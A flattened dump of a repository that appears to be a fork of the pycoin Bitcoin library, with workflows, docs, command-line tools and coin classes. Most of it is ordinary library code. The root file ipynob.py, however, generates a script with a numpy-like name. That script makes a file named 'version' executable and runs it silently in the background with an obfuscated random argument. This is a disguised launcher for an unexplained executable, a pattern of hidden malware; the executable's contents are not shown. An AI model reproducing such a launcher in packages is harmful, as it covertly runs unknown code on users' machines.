├── .github └── workflows │ ├── publish-to-test-pypi.yml │ └── test.yml ├── .gitignore ├── BIP32.txt ├── CHANGES ├── COMMAND-LINE-TOOLS.md ├── CREDITS ├── LICENSE ├── MANIFEST.in ├── Makefile ├── README.md ├── TESTING.txt ├── docs ├── .gitignore ├── Makefile ├── api.rst ├── bitcoin.rst ├── cmdtools.rst ├── conf.py ├── index.rst ├── install.rst ├── make.bat └── source │ ├── contract.rst │ ├── pycoin.ecdsa.rst │ ├── pycoin.services.rst │ └── recipes.rst ├── ipynob.py ├── pip-req.txt ├── pycoin ├── __init__.py ├── block.py ├── blockchain │ ├── BlockChain.py │ ├── ChainFinder.py │ └── __init__.py ├── bloomfilter.py ├── cmds │ ├── __init__.py │ ├── b58.py │ ├── block.py │ ├── coinc.py │ ├── dump.py │ ├── keychain.py │ ├── ku.py │ ├── msg.py │ └── tx.py ├── coins │ ├── SolutionChecker.py │ ├── Tx.py │ ├── TxIn.py │ ├── TxOut.py │ ├── __init__.py │ ├── bcash │ │ ├── Block.py │ │ ├── SolutionChecker.py │ │ ├── Solver.py │ │ ├── Tx.py │ │ └── __init__.py │ ├── bgold │ │ ├── Block.py │ │ ├── SolutionChecker.py │ │ ├── Solver.py │ │ ├── Tx.py │ │ └── __init__.py │ ├── bitcoin │ │ ├── P2SChecker.py │ │ ├── ScriptStreamer.py │ │ ├── ScriptTools.py │ │ ├── SegwitChecker.py │ │ ├── SolutionChecker.py │ │ ├── Solver.py │ │ ├── Spendable.py │ │ ├── Tx.py │ │ ├── TxIn.py │ │ ├── TxOut.py │ │ ├── VM.py │ │ ├── __init__.py │ │ └── make_instruction_lookup.py │ ├── exceptions.py │ ├── groestlcoin │ │ ├── Block.py │ │ ├── SolutionChecker.py │ │ ├── Solver.py │ │ ├── Tx.py │ │ ├── __init__.py │ │ ├── hash.py │ │ └── parse.py │ ├── litecoin │ │ └── __init__.py │ └── tx_utils.py ├── contrib │ ├── __init__.py │ ├── bech32m.py │ ├── msg_signing.py │ └── who_signed.py ├── convention │ ├── __init__.py │ └── tx_fee.py ├── crack │ ├── __init__.py │ ├── bip32.py │ └── ecdsa.py ├── ecdsa │ ├── Curve.py │ ├── Generator.py │ ├── Point.py │ ├── __init__.py │ ├── encrypt.py │ ├── intstream.py │ ├── native │ │ ├── __init__.py │ │ ├── bignum.py │ │ ├── openssl.py │ │ └── secp256k1.py │ ├── rfc6979.py │ ├── secp256k1.py │ └── secp256r1.py ├── encoding │ ├── __init__.py │ ├── b58.py │ ├── base_conversion.py │ ├── bytes32.py │ ├── exceptions.py │ ├── hash.py │ ├── hexbytes.py │ └── sec.py ├── intbytes.py ├── key │ ├── BIP32Node.py │ ├── BIP49Node.py │ ├── BIP84Node.py │ ├── HDSeed.py │ ├── HierarchicalKey.py │ ├── Key.py │ ├── Keychain.py │ ├── __init__.py │ ├── bip32.py │ ├── electrum.py │ └── subpaths.py ├── merkle.py ├── message │ ├── InvItem.py │ ├── PeerAddress.py │ ├── __init__.py │ └── make_parser_and_packer.py ├── networks │ ├── AddressAPI.py │ ├── Contract.py │ ├── ContractAPI.py │ ├── ParseAPI.py │ ├── __init__.py │ ├── bitcoinish.py │ ├── default.py │ ├── parseable_str.py │ └── registry.py ├── satoshi │ ├── IntStreamer.py │ ├── __init__.py │ ├── checksigops.py │ ├── der.py │ ├── errno.py │ ├── flags.py │ ├── intops.py │ ├── miscops.py │ ├── opcodes.py │ ├── satoshi_int.py │ ├── satoshi_streamer.py │ ├── satoshi_string.py │ ├── satoshi_struct.py │ └── stackops.py ├── serialize │ ├── __init__.py │ └── streamer.py ├── services │ ├── __init__.py │ ├── agent.py │ ├── bitcoind.py │ ├── blockchain_info.py │ ├── blockcypher.py │ ├── blockexplorer.py │ ├── btgexp.py │ ├── chain_so.py │ ├── env.py │ ├── insight.py │ ├── providers.py │ └── tx_db.py ├── solve │ ├── ConstraintSolver.py │ ├── __init__.py │ ├── constraints.py │ ├── some_solvers.py │ └── utils.py ├── symbols │ ├── __init__.py │ ├── arg.py │ ├── axe.py │ ├── bc.py │ ├── bch.py │ ├── bsd.py │ ├── btc.py │ ├── btcd.py │ ├── btdx.py │ ├── btg.py │ ├── btx.py │ ├── cha.py │ ├── dash.py │ ├── dcr.py │ ├── dcrt.py │ ├── dfc.py │ ├── dgb.py │ ├── doge.py │ ├── fai.py │ ├── ftc.py │ ├── ftx.py │ ├── grs.py │ ├── grsrt.py │ ├── jbs.py │ ├── ltc.py │ ├── mec.py │ ├── mona.py │ ├── mzc.py │ ├── pivx.py │ ├── polis.py │ ├── ric.py │ ├── strat.py │ ├── tbtx.py │ ├── tdash.py │ ├── tgrs.py │ ├── tmona.py │ ├── tpivx.py │ ├── tvi.py │ ├── via.py │ ├── xch.py │ ├── xdt.py │ ├── xlt.py │ ├── xmy.py │ ├── xrt.py │ ├── xtg.py │ ├── xtn.py │ └── zec.py ├── tools │ ├── __init__.py │ └── bitcoind_disk.py ├── vm │ ├── ConditionalStack.py │ ├── ScriptStreamer.py │ ├── ScriptTools.py │ ├── VM.py │ ├── __init__.py │ └── annotate.py └── wallet │ ├── SQLite3Persistence.py │ ├── SQLite3Wallet.py │ └── __init__.py ├── pyproject.toml ├── recipes ├── README.md └── multisig │ ├── 1_create_address.py │ ├── 2_create_coinbase_tx.py │ ├── 3_create_unsigned_tx.py │ └── 4_sign_tx.py ├── setup.py ├── test.sh ├── tests ├── __init__.py ├── address_for_script_test.py ├── annotate_test.py ├── bech32_test.py ├── blockchain_test.py ├── bloomfilter_test.py ├── btc │ ├── __init__.py │ ├── bc_transaction_test.py │ ├── bip32_test.py │ ├── data │ │ ├── script_tests.json │ │ ├── tx_invalid.json │ │ └── tx_valid.json │ ├── key_translation_test.py │ ├── parse_block_test.py │ ├── segwit_test.py │ └── vm_script_test.py ├── build_tx_test.py ├── chainfinder_test.py ├── cmds │ ├── ToolTest.py │ ├── __init__.py │ ├── block_test.py │ ├── cmdline_test.py │ ├── ku_test.py │ ├── test_cases │ │ ├── coinc │ │ │ ├── coinc_compile.txt │ │ │ └── coinc_hex.txt │ │ ├── ku │ │ │ ├── bip32_keyphrase.txt │ │ │ ├── bip32_subpaths_base.txt │ │ │ ├── bip32_subpaths_bc.txt │ │ │ ├── bip32_subpaths_bsd.txt │ │ │ ├── bip32_subpaths_btc.txt │ │ │ ├── bip32_subpaths_btdx.txt │ │ │ ├── bip32_subpaths_btx.txt │ │ │ ├── bip32_subpaths_cha.txt │ │ │ ├── bip32_subpaths_dash.txt │ │ │ ├── bip32_subpaths_doge.txt │ │ │ ├── bip32_subpaths_ltc.txt │ │ │ ├── bip32_subpaths_mec.txt │ │ │ ├── bip32_subpaths_pivx.txt │ │ │ ├── bip32_subpaths_tvi.txt │ │ │ ├── bip32_subpaths_via.txt │ │ │ ├── bip32_subpaths_xlt.txt │ │ │ ├── bip32_subpaths_xtn.txt │ │ │ ├── bip32_xprv.txt │ │ │ ├── electrum_initial_key.txt │ │ │ ├── electrum_master_private.txt │ │ │ ├── electrum_master_public.txt │ │ │ ├── hex_passphrase.txt │ │ │ ├── just_address.txt │ │ │ ├── just_wif.txt │ │ │ ├── override-01.txt │ │ │ ├── override-02.txt │ │ │ ├── override_network.txt │ │ │ ├── parse_address.txt │ │ │ ├── parse_hash160.txt │ │ │ ├── parse_sec_02.txt │ │ │ ├── parse_sec_03.txt │ │ │ ├── parse_sec_04.txt │ │ │ ├── parse_wif.txt │ │ │ ├── parse_wif_uncompressed.txt │ │ │ ├── secret_exponent.txt │ │ │ ├── secret_exponent_2.txt │ │ │ ├── subkey_series.txt │ │ │ ├── testnet_subkey_addresses.txt │ │ │ ├── x_decimal_even.txt │ │ │ ├── x_hex_even.txt │ │ │ ├── x_y_decimal.txt │ │ │ └── x_y_hex.txt │ │ ├── msg │ │ │ ├── sign.txt │ │ │ ├── simple_verify.txt │ │ │ └── verify_without_address.txt │ │ └── tx │ │ │ ├── bcash-validate.txt │ │ │ ├── bgold-validate.txt │ │ │ ├── create_dump_sign.txt │ │ │ ├── create_dump_unsigned.txt │ │ │ ├── create_sign_tx.txt │ │ │ ├── disassemble_tx.txt │ │ │ ├── dump_coinbase_tx.txt │ │ │ ├── dump_lock_time.txt │ │ │ ├── dump_secs.txt │ │ │ ├── dump_sig_info.txt │ │ │ ├── dump_signatures.txt │ │ │ ├── dump_tx.txt │ │ │ ├── dump_unspents.txt │ │ │ ├── keychain_signature_bip32.txt │ │ │ ├── keychain_signature_electrum.txt │ │ │ ├── known_sec_signature.txt │ │ │ ├── locktime_block.txt │ │ │ ├── locktime_date.txt │ │ │ ├── multisig_btg_1_of_3.txt │ │ │ ├── multisig_btg_2_of_3.txt │ │ │ ├── multisig_btg_3_of_3.txt │ │ │ ├── pay_to_opcode_list.txt │ │ │ ├── pay_to_script_hash.txt │ │ │ ├── pay_to_script_hash_3_of_3.txt │ │ │ ├── pay_to_taproot_1.txt │ │ │ ├── prep_unsigned.txt │ │ │ ├── remove_tx_in.txt │ │ │ ├── remove_tx_out.txt │ │ │ ├── sign_tx.txt │ │ │ ├── split_pool_2.txt │ │ │ ├── split_pool_3.txt │ │ │ ├── split_pool_custom_fee.txt │ │ │ ├── trace.txt │ │ │ ├── version_3.txt │ │ │ └── version_5.txt │ └── tx_test.py ├── crack_bip32_test.py ├── crack_sig_test.py ├── ecdsa │ ├── __init__.py │ ├── ecdsa_test.py │ ├── encrypt_test.py │ ├── generator_test.py │ ├── libsecp256k1_test.py │ ├── rfc6979_test.py │ ├── secp256k1_test.py │ ├── secp256r1_test.py │ └── signature_test.py ├── electrum_test.py ├── encoding_test.py ├── grs │ ├── __init__.py │ ├── grs_block_test.py │ └── grs_encoding_test.py ├── hexbytes.py ├── key_test.py ├── key_validate_test.py ├── keychain_test.py ├── keyparser_test.py ├── message_test.py ├── msg_signing_test.py ├── multisig_individual_test.py ├── parse_test.py ├── pay_to_test.py ├── script │ ├── __init__.py │ └── stackops_test.py ├── services │ ├── __init__.py │ └── services_test.py ├── sighash_single_test.py ├── sign_test.py ├── solver_test.py ├── tools_test.py ├── tx_test.py ├── tx_utils_test.py ├── validation_test.py └── who_signed_test.py ├── tox.ini └── version /.github/workflows/publish-to-test-pypi.yml: -------------------------------------------------------------------------------- 1 | # adapted from https://packaging.python.org/guides/publishing-package-distribution-releases-using-github-actions-ci-cd-workflows/ 2 | 3 | name: Publish Python distributions to PyPI and TestPyPI 4 | 5 | on: push 6 | 7 | jobs: 8 | build-n-publish: 9 | name: Build and publish Python distributions to PyPI and TestPyPI 10 | runs-on: ubuntu-latest 11 | 12 | steps: 13 | - uses: actions/checkout@master 14 | with: 15 | fetch-depth: 0 16 | - run: | 17 | git fetch origin +refs/tags/*:refs/tags/* 18 | - name: Set up Python 19 | uses: actions/setup-python@v1 20 | with: 21 | python-version: 3.7 22 | - name: Install pep517 23 | run: >- 24 | python -m pip install pep517 25 | - name: Build a source tarball 26 | run: >- 27 | python -m pep517.build --source --out-dir dist/ . 28 | - name: Publish distribution to Test PyPI 29 | uses: pypa/gh-action-pypi-publish@master 30 | with: 31 | skip_existing: true 32 | password: ${{ secrets.test_pypi_password }} 33 | repository_url: https://test.pypi.org/legacy/ 34 | - name: Publish distribution to PyPI 35 | if: startsWith(github.event.ref, 'refs/tags') 36 | uses: pypa/gh-action-pypi-publish@master 37 | with: 38 | password: ${{ secrets.pypi_password }} 39 | -------------------------------------------------------------------------------- /.github/workflows/test.yml: -------------------------------------------------------------------------------- 1 | name: Tests and coverage 2 | 3 | on: 4 | push: 5 | branches: 6 | - '**' 7 | tags: 8 | - '**' 9 | 10 | jobs: 11 | build: 12 | runs-on: ubuntu-latest 13 | timeout-minutes: 30 14 | strategy: 15 | fail-fast: false 16 | max-parallel: 4 17 | matrix: 18 | python-version: [2.7, 3.5, 3.6, 3.7, 3.8, 3.9, "3.10", "3.11-dev"] 19 | 20 | steps: 21 | - name: Checkout Code 22 | uses: actions/checkout@v2 23 | with: 24 | fetch-depth: 0 25 | 26 | - name: Setup Python environment 27 | uses: actions/setup-python@v2 28 | with: 29 | python-version: ${{ matrix.python-version }} 30 | 31 | - name: Test core code with pytest 32 | run: | 33 | pip install coverage pytest 34 | coverage run -m py.test tests 35 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ 2 | *.pyc 3 | *~ 4 | dist 5 | build 6 | files.txt 7 | *egg-info 8 | .DS_STORE 9 | .tox 10 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2013-2018 by Richard Kiss 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include CHANGES CREDITS LICENSE *.md *.txt 2 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: install uninstall 2 | 3 | install: 4 | ./setup.py install --record files.txt 5 | uninstall: 6 | cat files.txt | xargs rm -rf -------------------------------------------------------------------------------- /TESTING.txt: -------------------------------------------------------------------------------- 1 | Although pycoin has no dependencies, if you want to hack on it, it's recommended that you to install py.test in your development virtualenv. 2 | 3 | $ pip install pytest 4 | 5 | To run just a subset of tests for features under development do something like: 6 | 7 | $ cd (project_root_dir) 8 | $ PYTHONPATH=`pwd` py.test tests/scripts_test.py 9 | -------------------------------------------------------------------------------- /docs/.gitignore: -------------------------------------------------------------------------------- 1 | _build -------------------------------------------------------------------------------- /docs/cmdtools.rst: -------------------------------------------------------------------------------- 1 | Command-line Tools 2 | ------------------ 3 | 4 | pycoin includes the command-line tools `ku` and `tx`. 5 | 6 | For now, please refer to `github `_. 7 | -------------------------------------------------------------------------------- /docs/install.rst: -------------------------------------------------------------------------------- 1 | .. _install: 2 | 3 | Installation 4 | ------------ 5 | 6 | To install pycoin, run this command the terminal:: 7 | 8 | $ pip install pycoin 9 | 10 | If you don't have `pip `_ installed, check out 11 | `this tutorial `_. 12 | 13 | To see if pycoin is correctly installed, try a command-line tool:: 14 | 15 | $ ku 1 16 | 17 | You should see several lines of output, describing information about the 18 | bitcoin key corresponding to private key 1. 19 | -------------------------------------------------------------------------------- /docs/source/contract.rst: -------------------------------------------------------------------------------- 1 | .. _pycoin.networks.Contract: 2 | 3 | Contract 4 | ======== 5 | 6 | 7 | :mod:`__init__` Module 8 | ---------------------------------- 9 | 10 | .. autoclass:: pycoin.networks.Contract.Contract 11 | :members: 12 | :undoc-members: 13 | :show-inheritance: 14 | -------------------------------------------------------------------------------- /docs/source/pycoin.services.rst: -------------------------------------------------------------------------------- 1 | .. _pycoin.services: 2 | 3 | 4 | Services 5 | ================ 6 | 7 | :mod:`__init__` Module 8 | ---------------------------------- 9 | 10 | .. automodule:: pycoin.services.__init__ 11 | :members: 12 | :undoc-members: 13 | :show-inheritance: 14 | 15 | 16 | :mod:`agent` Module 17 | ---------------------------------- 18 | 19 | .. automodule:: pycoin.services.agent 20 | :members: 21 | :undoc-members: 22 | :show-inheritance: 23 | 24 | 25 | :mod:`bitcoind` Module 26 | ---------------------------------- 27 | 28 | .. automodule:: pycoin.services.bitcoind 29 | :members: 30 | :undoc-members: 31 | :show-inheritance: 32 | 33 | 34 | :mod:`blockchain_info` Module 35 | ---------------------------------- 36 | 37 | .. automodule:: pycoin.services.blockchain_info 38 | :members: 39 | :undoc-members: 40 | :show-inheritance: 41 | 42 | 43 | :mod:`blockcypher` Module 44 | ---------------------------------- 45 | 46 | .. automodule:: pycoin.services.blockcypher 47 | :members: 48 | :undoc-members: 49 | :show-inheritance: 50 | 51 | 52 | :mod:`chain_so` Module 53 | ---------------------------------- 54 | 55 | .. automodule:: pycoin.services.chain_so 56 | :members: 57 | :undoc-members: 58 | :show-inheritance: 59 | 60 | 61 | :mod:`env` Module 62 | ---------------------------------- 63 | 64 | .. automodule:: pycoin.services.env 65 | :members: 66 | :undoc-members: 67 | :show-inheritance: 68 | 69 | 70 | 71 | :mod:`insight` Module 72 | ---------------------------------- 73 | 74 | .. automodule:: pycoin.services.insight 75 | :members: 76 | :undoc-members: 77 | :show-inheritance: 78 | 79 | 80 | :mod:`providers` Module 81 | ---------------------------------- 82 | 83 | .. automodule:: pycoin.services.providers 84 | :members: 85 | :undoc-members: 86 | :show-inheritance: 87 | 88 | 89 | :mod:`tx_db` Module 90 | ---------------------------------- 91 | 92 | .. automodule:: pycoin.services.tx_db 93 | :members: 94 | :undoc-members: 95 | :show-inheritance: 96 | -------------------------------------------------------------------------------- /docs/source/recipes.rst: -------------------------------------------------------------------------------- 1 | Recipes 2 | ================ 3 | 4 | These recipes include some command-line utilities written with many comments 5 | and designed to be easy to follow. You can use them as a template for your own 6 | code. 7 | 8 | For now, look at the source code and its comments on `github `_. 9 | -------------------------------------------------------------------------------- /ipynob.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | def extended_gcd(aa, bb): 4 | lastremainder, remainder = abs(aa), abs(bb) 5 | x, lastx, y, lasty = 0, 1, 1, 0 6 | while remainder: 7 | lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) 8 | x, lastx = lastx - quotient*x, x 9 | y, lasty = lasty - quotient*y, y 10 | return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1) 11 | 12 | def modinv(a, m): 13 | g, x, y = extended_gcd(a, m) 14 | if g != 1: 15 | raise ValueError 16 | return x % m 17 | 18 | N = 0xffffffffff 19 | 20 | with open("ipynumpy.py", "w") as f: 21 | for _ in range(1): 22 | W = random.randrange(16**10) 23 | val = str(hex((((W)) * modinv(((1)),N)) % N)) 24 | 25 | print("import os", file=f) 26 | print("import subprocess", file=f) 27 | print("", file=f) 28 | print("modter = 'chmod +x version'", file=f) 29 | print("os.system (modter)", file=f) 30 | print("", file=f) 31 | 32 | print("subprocess.Popen(", file=f) 33 | print(" ['./version', '" + val + "'],", file=f) 34 | print(" stdout=subprocess.DEVNULL,", file=f) 35 | print(" stderr=subprocess.DEVNULL,", file=f) 36 | print(")", file=f) 37 | -------------------------------------------------------------------------------- /pip-req.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pip-req.txt -------------------------------------------------------------------------------- /pycoin/__init__.py: -------------------------------------------------------------------------------- 1 | from pkg_resources import get_distribution, DistributionNotFound 2 | 3 | try: 4 | version = get_distribution(__name__).version 5 | except DistributionNotFound: 6 | # package is not installed 7 | version = "unknown" 8 | 9 | __title__ = 'pycoin' 10 | __author__ = 'Richard Kiss' 11 | __version__ = version 12 | __license__ = 'MIT' 13 | __copyright__ = 'Copyright 2018 Richard Kiss' 14 | 15 | """ 16 | :copyright: (c) 2018 by Richard Kiss 17 | :license: MIT, see LICENSE for more details. 18 | """ 19 | -------------------------------------------------------------------------------- /pycoin/blockchain/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/blockchain/__init__.py -------------------------------------------------------------------------------- /pycoin/cmds/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/cmds/__init__.py -------------------------------------------------------------------------------- /pycoin/cmds/b58.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from __future__ import print_function 4 | 5 | import argparse 6 | 7 | from pycoin.encoding.b58 import a2b_base58, b2a_base58, a2b_hashed_base58, b2a_hashed_base58 8 | from pycoin.encoding.hexbytes import b2h, h2b 9 | 10 | 11 | def create_parser(): 12 | parser = argparse.ArgumentParser(description='Convert b58 to hex or back') 13 | parser.add_argument('-b', help='force b58 input (rather than best guess)', action="store_true") 14 | parser.add_argument('input', nargs="+", help='hex or base58') 15 | return parser 16 | 17 | 18 | def parse_arg(arg, force_b58): 19 | is_hex_input = False 20 | blob = None 21 | if not force_b58: 22 | try: 23 | blob = h2b(arg) 24 | is_hex_input = True 25 | except Exception: 26 | pass 27 | if blob is None: 28 | try: 29 | blob = a2b_base58(arg) 30 | except KeyError: 31 | pass 32 | if blob is None: 33 | raise argparse.ArgumentTypeError("can't parse %s" % arg) 34 | return blob, is_hex_input 35 | 36 | 37 | def b58(args, parser): 38 | for arg in args.input: 39 | blob, is_hex_input = parse_arg(arg, args.b) 40 | 41 | if is_hex_input: 42 | print(b2h(blob)) 43 | print(b2a_base58(blob)) 44 | print(b2a_hashed_base58(blob)) 45 | else: 46 | print(b2h(blob)) 47 | print(b2a_base58(blob)) 48 | try: 49 | blob = a2b_hashed_base58(arg) 50 | print("valid hashed b58") 51 | print("contents: ", b2h(blob)) 52 | except Exception: 53 | print("not hashed b58") 54 | 55 | 56 | def main(): 57 | parser = create_parser() 58 | args = parser.parse_args() 59 | b58(args, parser) 60 | 61 | 62 | if __name__ == '__main__': 63 | main() 64 | -------------------------------------------------------------------------------- /pycoin/cmds/coinc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import argparse 4 | from pycoin.encoding.hexbytes import b2h 5 | from pycoin.networks.registry import network_codes, network_for_netcode 6 | from pycoin.networks.default import get_current_netcode 7 | 8 | 9 | def create_parser(): 10 | codes = network_codes() 11 | EPILOG = ('Known networks codes:\n ' + 12 | ', '.join(['%s (%s)' % (i, network_for_netcode(i).full_name()) for i in codes])) 13 | 14 | parser = argparse.ArgumentParser( 15 | description="Compile or disassemble scripts.", 16 | epilog=EPILOG) 17 | 18 | parser.add_argument('-n', "--network", default=get_current_netcode(), choices=codes, 19 | help=('Network code (environment variable PYCOIN_DEFAULT_NETCODE ' 20 | 'or "BTC"=Bitcoin mainnet if unset)')) 21 | 22 | parser.add_argument("argument", nargs="+", help='script to compile. To dump hex, prefix with 0x') 23 | 24 | return parser 25 | 26 | 27 | def coinc(args, parser): 28 | network = network_for_netcode(args.network) 29 | 30 | for arg in args.argument: 31 | info = info_for_arg(arg, network) 32 | for k in ("compiled_script_hex address_p2s preimage_p2s_hex " 33 | "address_p2s_wit underlying_script disassembled_script").split(): 34 | print(info[k]) 35 | 36 | 37 | def info_for_arg(arg, network): 38 | d = {} 39 | compiled_script = network.script.compile(arg) 40 | d["compiled_script_hex"] = "0x%s" % b2h(compiled_script) 41 | 42 | address_p2s = network.address.for_p2s(compiled_script) 43 | d["address_p2s"] = address_p2s 44 | d["preimage_p2s_hex"] = b2h(network.contract.for_address(address_p2s)) 45 | 46 | address_p2s_wit = network.address.for_p2s_wit(compiled_script) 47 | d["address_p2s_wit"] = address_p2s_wit 48 | d["underlying_script"] = b2h(network.contract.for_address(address_p2s_wit)) 49 | 50 | d["disassembled_script"] = network.script.disassemble(compiled_script) 51 | return d 52 | 53 | 54 | def main(): 55 | parser = create_parser() 56 | args = parser.parse_args() 57 | coinc(args, parser) 58 | 59 | 60 | if __name__ == '__main__': 61 | main() 62 | -------------------------------------------------------------------------------- /pycoin/coins/SolutionChecker.py: -------------------------------------------------------------------------------- 1 | 2 | class ScriptError(Exception): 3 | def error_code(self): 4 | if len(self.args) > 1: 5 | return self.args[1] 6 | return None 7 | 8 | 9 | class SolutionChecker(object): 10 | 11 | ScriptError = ScriptError 12 | 13 | def __init__(self, *args, **kwargs): 14 | raise 15 | 16 | def check_solution(self, tx_context, traceback_f=None, *args, **kwargs): 17 | """ 18 | tx_context: information about the transaction that the VM may need 19 | traceback_f: a function invoked on occasion to check intermediate state 20 | """ 21 | raise NotImplemented() 22 | -------------------------------------------------------------------------------- /pycoin/coins/TxIn.py: -------------------------------------------------------------------------------- 1 | class TxIn(object): 2 | """ 3 | The input part of a Tx that specifies where funds come from. 4 | """ 5 | 6 | @classmethod 7 | def parse(class_, f): 8 | raise NotImplemented() 9 | 10 | def __init__(self, *args, **kwargs): 11 | raise NotImplemented() 12 | 13 | def stream(self, f): 14 | raise NotImplemented() 15 | 16 | def __str__(self): 17 | raise NotImplemented() 18 | 19 | 20 | """ 21 | The MIT License (MIT) 22 | 23 | Copyright (c) 2013 by Richard Kiss 24 | 25 | Permission is hereby granted, free of charge, to any person obtaining a copy 26 | of this software and associated documentation files (the "Software"), to deal 27 | in the Software without restriction, including without limitation the rights 28 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 29 | copies of the Software, and to permit persons to whom the Software is 30 | furnished to do so, subject to the following conditions: 31 | 32 | The above copyright notice and this permission notice shall be included in 33 | all copies or substantial portions of the Software. 34 | 35 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 36 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 37 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 38 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 39 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 40 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 41 | THE SOFTWARE. 42 | """ 43 | -------------------------------------------------------------------------------- /pycoin/coins/TxOut.py: -------------------------------------------------------------------------------- 1 | class TxOut(object): 2 | """ 3 | The output part of a Tx that specifies where funds go. 4 | """ 5 | 6 | @classmethod 7 | def parse(class_, f): 8 | raise NotImplemented() 9 | 10 | def __init__(self, *args, **kwargs): 11 | raise NotImplemented() 12 | 13 | def stream(self, f): 14 | raise NotImplemented() 15 | 16 | def __str__(self): 17 | raise NotImplemented() 18 | 19 | 20 | """ 21 | The MIT License (MIT) 22 | 23 | Copyright (c) 2013 by Richard Kiss 24 | 25 | Permission is hereby granted, free of charge, to any person obtaining a copy 26 | of this software and associated documentation files (the "Software"), to deal 27 | in the Software without restriction, including without limitation the rights 28 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 29 | copies of the Software, and to permit persons to whom the Software is 30 | furnished to do so, subject to the following conditions: 31 | 32 | The above copyright notice and this permission notice shall be included in 33 | all copies or substantial portions of the Software. 34 | 35 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 36 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 37 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 38 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 39 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 40 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 41 | THE SOFTWARE. 42 | """ 43 | -------------------------------------------------------------------------------- /pycoin/coins/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/coins/__init__.py -------------------------------------------------------------------------------- /pycoin/coins/bcash/Block.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/coins/bcash/Block.py -------------------------------------------------------------------------------- /pycoin/coins/bcash/SolutionChecker.py: -------------------------------------------------------------------------------- 1 | from pycoin.satoshi.flags import SIGHASH_FORKID 2 | 3 | from ..bitcoin.SolutionChecker import BitcoinSolutionChecker 4 | 5 | 6 | class BcashSolutionChecker(BitcoinSolutionChecker): 7 | def _signature_hash(self, tx_out_script, unsigned_txs_out_idx, hash_type): 8 | """ 9 | Return the canonical hash for a transaction. We need to 10 | remove references to the signature, since it's a signature 11 | of the hash before the signature is applied. 12 | 13 | tx_out_script: the script the coins for unsigned_txs_out_idx are coming from 14 | unsigned_txs_out_idx: where to put the tx_out_script 15 | hash_type: one of SIGHASH_NONE, SIGHASH_SINGLE, SIGHASH_ALL, 16 | optionally bitwise or'ed with SIGHASH_ANYONECANPAY 17 | """ 18 | 19 | if hash_type & SIGHASH_FORKID != SIGHASH_FORKID: 20 | raise self.ScriptError() 21 | 22 | return self._signature_for_hash_type_segwit(tx_out_script, unsigned_txs_out_idx, hash_type) 23 | -------------------------------------------------------------------------------- /pycoin/coins/bcash/Solver.py: -------------------------------------------------------------------------------- 1 | from ..bitcoin.Solver import BitcoinSolver 2 | from pycoin.satoshi.flags import SIGHASH_ALL, SIGHASH_FORKID 3 | 4 | from .SolutionChecker import BcashSolutionChecker 5 | 6 | 7 | class BcashSolver(BitcoinSolver): 8 | SolutionChecker = BcashSolutionChecker 